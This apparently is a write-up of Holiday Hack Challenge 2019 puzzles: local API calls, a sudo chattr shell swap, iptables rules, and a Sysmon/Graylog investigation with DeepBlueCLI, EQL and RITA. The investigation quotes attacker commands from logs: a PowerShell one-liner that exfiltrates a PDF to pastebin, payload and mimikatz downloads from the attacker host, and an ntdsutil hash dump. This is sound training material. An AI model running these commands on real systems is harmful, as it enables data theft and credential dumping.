Value : ba5c6bbb-5b9c-5dc4-0000-0020f55ca900
Value : 11099381
Value : 0
Value : High
Value : MD5=097CE5761C89434367598B34FE32893B
Value : ba5c6bbb-4c79-5dc4-0000-001029350100
Value : 1008
Value : C:\Windows\System32\svchost.exe
Value : C:\Windows\system32\svchost.exe -k netsvcs

Finally:

PS /home/elf> (Invoke-WebRequest http://127.0.0.1:1225/api/on).RawContent
HTTP/1.1 200 OK                                                                           
Server: Microsoft-NetCore/2.0                                                             
Date: Thu, 12 Dec 2019 22:17:09 GMT                                                       
Content-Length: 32                                                                        

Christmas Cheer Laser Powered On
PS /home/elf> (Invoke-WebRequest http://127.0.0.1:1225/api/refraction?val=1.867).RawContent
HTTP/1.1 200 OK                                                                           
Server: Microsoft-NetCore/2.0                                                             
Date: Thu, 12 Dec 2019 22:17:15 GMT                                                       
Content-Length: 87                                                                        

Updated Lense Refraction Level - Check /api/output if 5 Mega-Jollies per liter reached.
PS /home/elf> (Invoke-WebRequest http://127.0.0.1:1225/api/temperature?val=-33.5).RawContent
HTTP/1.1 200 OK                                                                           
Server: Microsoft-NetCore/2.0                                                             
Date: Thu, 12 Dec 2019 22:17:21 GMT                                                       
Content-Length: 82                                                                        

Updated Laser Temperature - Check /api/output if 5 Mega-Jollies per liter reached.
PS /home/elf> (Invoke-WebRequest http://127.0.0.1:1225/api/angle?val=65.5).RawContent
HTTP/1.1 200 OK                                                                           
Server: Microsoft-NetCore/2.0                                                             
Date: Thu, 12 Dec 2019 22:17:26 GMT                                                       
Content-Length: 77                                                                        

Updated Mirror Angle - Check /api/output if 5 Mega-Jollies per liter reached.
PS /home/elf> (Invoke-WebRequest -Uri http://localhost:1225/api/gas -Method POST -Body "O=6&H=7&He=3&N=4&Ne=22&Ar=11&Xe=10&F=20&Kr=8&Rn=9").RawContent
HTTP/1.1 200 OK                                                                           
Server: Microsoft-NetCore/2.0                                                             
Date: Thu, 12 Dec 2019 22:17:32 GMT                                                       
Content-Length: 81                                                                        

Updated Gas Measurements - Check /api/output if 5 Mega-Jollies per liter reached.
PS /home/elf> (Invoke-WebRequest http://127.0.0.1:1225/api/output).RawContent
HTTP/1.1 200 OK                                                                           
Server: Microsoft-NetCore/2.0                                                             
Date: Thu, 12 Dec 2019 22:17:47 GMT                                                       
Content-Length: 199                                                                       

Success! - 5.428 Mega-Jollies of Laser Output Reached!

Inside the shell

nyancat, nyancat
I love that nyancat!
My shell's stuffed inside one
Whatcha' think about that?

Sadly now, the day's gone
Things to do!  Without one...
I'll miss that nyancat
Run commands, win, and done!

Log in as the user alabaster_snowball with a password of Password2,
    and land in a Bash prompt.

Target Credentials:

username: alabaster_snowball
password: Password2

Some hints:

User's Shells
From: Alabaster Snowball
On Linux, a user's shell is determined by the contents of /etc/passwd

Chatter?
From: Alabaster Snowball
sudo -l says I can run a command as root. What does it do?

Let's apply them:

elf@e6d5f5ac3f24:~$ cat /etc/passwd
elf:x:1000:1000::/home/elf:/bin/bash
alabaster_snowball:x:1001:1001::/home/alabaster_snowball:/bin/nsh

/bin/nsh is immutable but we can remove it with chattr

elf@14a07541cd62:~$ lsattr /bin/nsh
----i---------e---- /bin/nsh
sudoelf@14a07541cd62:~$ chattr -i /bin/nsh
chattr: Permission denied while setting flags on /bin/nsh
elf@14a07541cd62:~$ sudo /usr/bin/chattr -i /bin/nsh
elf@14a07541cd62:~$ lsattr /bin/nsh
--------------e---- /bin/nsh

Everyone has rwx on /bin/nsh.

elf@14a07541cd62:~$ ls -alt /bin/nsh
-rwxrwxrwx 1 root root 75680 Dec 11 17:40 /bin/nsh

Now we can login.

elf@dff265704748:~$ su - alabaster_snowball
Password: 
Loading, please wait......

You did it! Congratulations!

Answer: DEMAND.

Date: February 28, 2019

To the Administration, Faculty, and Staff of Elf University
17 Christmas Tree Lane
North Pole

From: A Concerned and Aggrieved
Character Subject: DEMAND: Spread Holiday Cheer to Other Holidays and Mythical
Characters... OR ELSE!

Attention All Elf University Personnel,

It remains a constant source of frustration that Elf University and the entire
operation at the North Pole focuses exclusively on Mr. S. Claus and his year-end
holiday spree. We URGE you to consider lending your considerable resources and
expertise in providing merriment, cheer, toys, candy, and much more to other
holidays year-round, as well as to other mythical characters. For centuries, we
have expressed our frustration at your lack of willingness to spread your cheer
beyond the inaptly-called “Holiday Season.” There are many other perfectly fine
holidays and mythical characters that need your direct support year-round.

If you do not accede to our demands, we will be forced to take matters into our
own hands.  We do not make this threat lightly. You have less than six months to
act demonstrably.

Sincerely,

--A Concerned and Aggrieved Character

Is there anything in this letter?

Answer to question 2: DEMAND

7331 is prime.

Actual page that can be opened in the browser:

Questions

Question 1

What is the full-path + filename of the first malicious file downloaded by Minty?

  • Answer C:\Users\minty\Downloads\cookie_recipe.exe

Search for recipe and one message pops up.

CommandLine
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Invoke-WebRequest -Uri
https://pastebin.com/post.php -Method POST -Body @{ "submit_hidden" =
"submit_hidden"; "paste_code" =
$([Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf")));
"paste_format" = "1"; "paste_expire_date" = "N"; "paste_private" = "0";
"paste_name"="cookie recipe" }

C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf

This is for alabaster and not what we want.

Searching for minty brings up a lot of results but if we search for it in the results in the browser with ctrl+f we can see the downloaded file:

C:\Users\minty\Downloads\cookie_recipe.exe

Question 2

The malicious file downloaded and executed by Minty gave the attacker remote access to his machine. What was the ip:port the malicious file connected to first?

  • Answer 192.168.247.175:4444

Searching for cookie_recipe.exe we can then click on EventID to the left and then click on Quick Values to bring up a chart. Then we can click on the magnifying glass beside each value to filter by that event ID.

  • cookie_recipe.exe AND EventID:2 is when Firefox created the downloaded file.
  • cookie_recipe.exe AND EventID:3 is what we want.

    message
    
    elfu-res-wks1 MSWinEventLog 1   Microsoft-Windows-Sysmon/Operational    2441
    Tue Nov 19 05:24:04 2019    3   Microsoft-Windows-Sysmon    SYSTEM  User
    Information elfu-res-wks1   Network connection detected (rule: NetworkConnect)
    Network connection detected:  RuleName:   UtcTime: 2019-11-19 13:24:03.757
    ProcessGuid: {BA5C6BBB-ECF2-5DD3-0000-001086363300}  ProcessId: 5256  Image:
    C:\Users\minty\Downloads\cookie_recipe.exe  User: ELFU-RES-WKS1\minty  Protocol:
    tcp  Initiated: true  SourceIsIpv6: false  SourceIp: 192.168.247.177
    SourceHostname: elfu-res-wks1.localdomain  SourcePort: 53564  SourcePortName:
    DestinationIsIpv6: false  DestinationIp: 192.168.247.175  DestinationHostname:
    DEFANELF  DestinationPort: 4444  DestinationPortName:    20132

192.168.247.175:4444

Question 3

What was the first command executed by the attacker?

  • (answer is a single word) whoami

Searching for cookie_recipe and looking at timestamps, the first action after Tue Nov 19 05:24:04 2019 that we saw above is C:\Windows\system32\cmd.exe /c "whoami "

Question 4

What is the one-word service name the attacker used to escalate privileges?

  • Answer webexservice

    C:\Windows\system32\cmd.exe /c "Invoke-WebRequest -Uri
    http://192.168.247.175/cookie_recipe2.exe -OutFile cookie_recipe2.exe "
    
    C:\Windows\system32\cmd.exe /c "sc start webexservice a software-update 1 
    wmic process call create "cmd.exe /c C:\Users\minty\Downloads\cookie_recipe2.exe" "

Question 5

What is the file-path + filename of the binary ran by the attacker to dump credentials?

  • Answer C:\cookie.exe

    C:\Windows\system32\cmd.exe /c "Invoke-WebRequest -Uri
    https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20190813/mimikatz_trunk.zip
    -OutFile cookie.zip "

Searching for mimikatz we find another event. It says the original filename of cookie.exe was mimikatz. It was renamed.

C:\Windows\system32\cmd.exe /c "Invoke-WebRequest -Uri http://192.168.247.175/mimikatz.exe -OutFile C:\cookie.exe "

Question 6

The attacker pivoted to another workstation using credentials gained from Minty's computer. Which account name was used to pivot to another machine?

  • Answer alabaster

https://www.jpcert.or.jp/english/pub/sr/20170612ac-ir_research_en.pdf

event ID `4624`
LogonType: 10 == remote == RDP - Logon Type 10 – RemoteInteractive

EventID:4624 AND LogonType:10

There is only one event at 06:04:28.

Question 7

What is the time ( HH:MM:SS ) the attacker makes a Remote Desktop connection to another machine?

  • Answer 06:04:28

Question 8

The attacker navigates the file system of a third host using their Remote Desktop Connection to the second host. What is the SourceHostName,DestinationHostname,LogonType of this connection? (submit in that order as csv)

  • Answer ELFU-RES-WKS2,ELFU-RES-WKS3,3

Our info:

  • Time: 2019-11-19 06:07:22.000
  • Filter: SourceHostName:ELFU\-RES\-WKS2 AND DestinationHostname:elfu\-res\-wks3

The attacker has GUI access to workstation 2 via RDP. They likely use this GUI connection to access the file system of workstation 3 using explorer.exe via UNC file paths (which is why we don't see any cmd.exe or powershell.exe process creates). However, we still see the successful network authentication for this with event id 4624 and logon type 3.

Question 9

What is the full-path + filename of the secret research document after being transferred from the third host to the second host?

  • Answer C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf

Our filter is: ProcessImage:C\:\\Windows\\Explorer.EXE AND source:elfu\-res\-wks2

Sorting by date, only one event is after the logon timestamp above.

CreationUtcTime
    2019-11-19T14:07:50.000Z
EventID
    2
ProcessId
    4372
ProcessImage
    C:\Windows\Explorer.EXE
TargetFilename
    C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf
WindowsLogType
Microsoft-Windows-Sysmon/Operational

Question 10

What is the IPv4 address (as found in logs) the secret research document was exfiltrated to?

  • Answer 104.22.3.84

Searching for super_secret_elfu_research.pdf there are 3 events.

2019-11-19 06:14:24.000

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Invoke-WebRequest -Uri
https://pastebin.com/post.php -Method POST -Body @{ "submit_hidden" =
"submit_hidden"; "paste_code" =
$([Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf")));
"paste_format" = "1"; "paste_expire_date" = "N"; "paste_private" = "0";
"paste_name"="cookie recipe" }

We know exfiltration was done with PowerShell from wks2 so our filter is:

  • SourceHostname:elfu\-res\-wks2.localdomain AND ProcessImage:C\:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe

Which gives us one event.

DestinationHostname
    pastebin.com
DestinationIp
    104.22.3.84
DestinationPort
    80
EventID
    3
ProcessId
    1232
ProcessImage
    C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Protocol
    tcp
SourceHostname
    elfu-res-wks2.localdomain
SourceIp
    192.168.247.177
SourcePort
53564

srf.elfu.org

A proper configuration for the Smart Braces should be exactly:

  1. Set the default policies to DROP for the INPUT, FORWARD, and OUTPUT chains.
  2. Create a rule to ACCEPT all connections that are ESTABLISHED,RELATED on the INPUT and the OUTPUT chains.
  3. Create a rule to ACCEPT only remote source IP address 172.19.0.225 to access the local SSH server (on port 22).
  4. Create a rule to ACCEPT any source IP to the local TCP services on ports 21 and 80.
  5. Create a rule to ACCEPT all OUTPUT traffic with a destination TCP port of 80.
  6. Create a rule applied to the INPUT chain to ACCEPT all traffic from the lo interface.

Tutorial: https://wiki.centos.org/HowTos/Network/IPTables

  1. Default policites to DROP
    • sudo iptables -P INPUT DROP
    • sudo iptables -P OUTPUT DROP
    • sudo iptables -P FORWARD DROP
  2. Accept all connections that are established, related.
    • sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
    • sudo iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
  3. Accept only one IP for SSH.
    • sudo iptables -A INPUT -p tcp --dport 22 -s 172.19.0.225 -j ACCEPT
  4. Have to match multiport to specify multiple ports in one rule
    • sudo iptables -A INPUT -p tcp --match multiport --dports 21,80 -j ACCEPT
  5. Accept all output traffic going to port 80.
    • sudo iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT
  6. Accept all traffic fromthe lo interface.
    • sudo iptables -A INPUT -i lo -j ACCEPT

They are in the student union area.

We're seeing attacks against the Elf U domain! Using the event log data, identify the user account that the attacker compromised using a password spray attack. Bushy Evergreen is hanging out in the train station and may be able to help you out.

Bushy Evergreen says DeepBlueCLI tool is useful.

.\DeepBlue.ps1 .\Security.evtx >> report.txt and it spits out the report.

The tool gives Multiple admin logons for one account for three accounts but only one of them appears in the Password Spray Attack prompts.

Answer: supatree

Using these normalized Sysmon logs, identify the tool the attacker used to retrieve domain password hashes from the lsass.exe process. For hints on achieving this objective, please visit Hermey Hall and talk with SugarPlum Mary.

https://downloads.elfu.org/sysmon-data.json.zip

Mimikatz has a module named lsadump. Mimikatz does not appear in the logs but the module might.

https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump

Maybe it's procdump. No it's not.

Search with EQL at https://eqllib.readthedocs.io/en/latest/guides/sysmon.html#example-searches-with-eql

This query did not work.

Looking here, https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/

We can see some tools. Going through the tools, we get to ntdsutil. Searching for it, we get to the last entry in the file which has our answer.

{
    "command_line": "ntdsutil.exe  \"ac i ntds\" ifm \"create full c:\\hive\" q q",
    "event_type": "process",
    "logon_id": 999,
    "parent_process_name": "cmd.exe",
    "parent_process_path": "C:\\Windows\\System32\\cmd.exe",
    "pid": 3556,
    "ppid": 3440,
    "process_name": "ntdsutil.exe",
    "process_path": "C:\\Windows\\System32\\ntdsutil.exe",
    "subtype": "create",
    "timestamp": 132186398470300000,
    "unique_pid": "{7431d376-dee7-5dd3-0000-0010f0c44f00}",
    "unique_ppid": "{7431d376-dedb-5dd3-0000-001027be4f00}",
    "user": "NT AUTHORITY\\SYSTEM",
    "user_domain": "NT AUTHORITY",
    "user_name": "SYSTEM"
}

Answer: ntdsutil

The attacks don't stop! Can you help identify the IP address of the malware-infected system using these Zeek logs? For hints on achieving this objective, please visit the Laboratory and talk with Sparkle Redberry.

Hint from Sparkle:

You got it - three cheers for cheer!
For objective 5, have you taken a look at our Zeek logs?
Something's gone wrong. But I hear someone named Rita can help us.
Can you and she figure out what happened?

Rita is a framework for network traffic analysis and can ingest Zeek logs.

Seems like we might not have needed to install rita because the logs have the html report.

Following the video here, HTML report is discussed at:

Open the ELFU/index.html file and click on Beacons. Then we will see one node (192.168.134.130) with almost a perfect score (0.998). Has a lot of connections (7660) and goes to a weird IP address (144.202.46.214).

Score	Source	Destination	Connections	Avg. Bytes	Intvl. Range	Size Range	Intvl. Mode	Size Mode	Intvl. Mode Count	Size Mode Count	Intvl. Skew	Size Skew	Intvl. Dispersion	Size Dispersion
0.998	192.168.134.130	144.202.46.214	7660	1156.000	10	683	10	563	6926	7641	0.000	0.000	0	0

There's nothing in Blacklists (BL Source IPs BL Dest. IPs and BL Hostnames).

This was our answer 192.168.134.130.


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